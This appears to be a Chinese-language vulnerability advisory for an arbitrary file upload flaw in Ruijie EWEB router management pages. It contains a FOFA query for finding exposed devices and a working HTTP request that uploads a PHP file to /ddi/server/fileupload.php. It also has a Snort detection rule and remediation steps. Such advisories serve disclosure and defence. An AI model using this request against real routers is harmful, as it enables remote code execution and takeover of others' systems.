

锐捷EWEB路由器-fileupload.php任意文件上传漏洞

锐捷EWEB路由器-fileupload.php存在任意文件上传漏洞，攻击者上传恶意文件导致rce，可控制服务器权限。

影响版本

锐捷EWEB路由器

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：title="锐捷网络-EWEB网管系统"

POC/EXP：

```
POST /ddi/server/fileupload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXarDTbMzZe2hdNu2

-----WebKitFormBoundaryXarDTbMzZe2hdNu2
Content-Disposition: form-data; name="uploadDir"

upload
-----WebKitFormBoundaryXarDTbMzZe2hdNu2
Content-Disposition: form-data; name="file";filename="123.php"

<?php phpinfo();?>
```

-----WebKitFormBoundaryXarDTbMzZe2hdNu2--



The screenshot shows a web browser's developer tools interface. The 'Request' tab on the left displays an HTTP POST request to `/ddi/server/fileupload.php`. The request headers include `Host`, `User-Agent`, `Accept-Encoding`, `Connection`, and `Content-Type: multipart/form-data`. The body is a multipart form data with a boundary `-----WebKitFormBoundaryXarDTbMzZe2hdNu2`. It contains a file upload with filename `123.php`. The 'Responses' tab on the right shows an HTTP 200 OK response from `nginx`. The response headers include `Date`, `Content-Type: text/html`, `Expires`, `Last-Modified`, `Cache-Control`, `Pragma`, `X-Frame-Options`, `X-Content-Type-Options`, `X-XSS-Protection`, and `Strict-Transport-Security`. The response body is a JSON object: `{ "jsonrpc": "2.0", "result": "upload/123.php", "id": "id" }`. The `upload/123.php` value is highlighted with a red box.

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"Ruijie EWEB Router File Upload - Extended";  
  flow:to_server,established;  
  content:"POST"; http_method;  
  content:"/ddi/server/fileupload.php"; http_uri;  
  content:"multipart/form-data"; http_header;  
  pcre:"/filename=\"[^\"]\"*(\\.php|\\.jsp|\\.asp|\\.aspx|\\.war)\"/i";  
  pcre:"/(<\\?php|<%\\s*page|<\\s*script\\s*runat=\"server\")/i";  
  metadata:affected_product "Ruijie EWEB Router";  
  classtype:web-application-attack;  
  sid:1000054;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。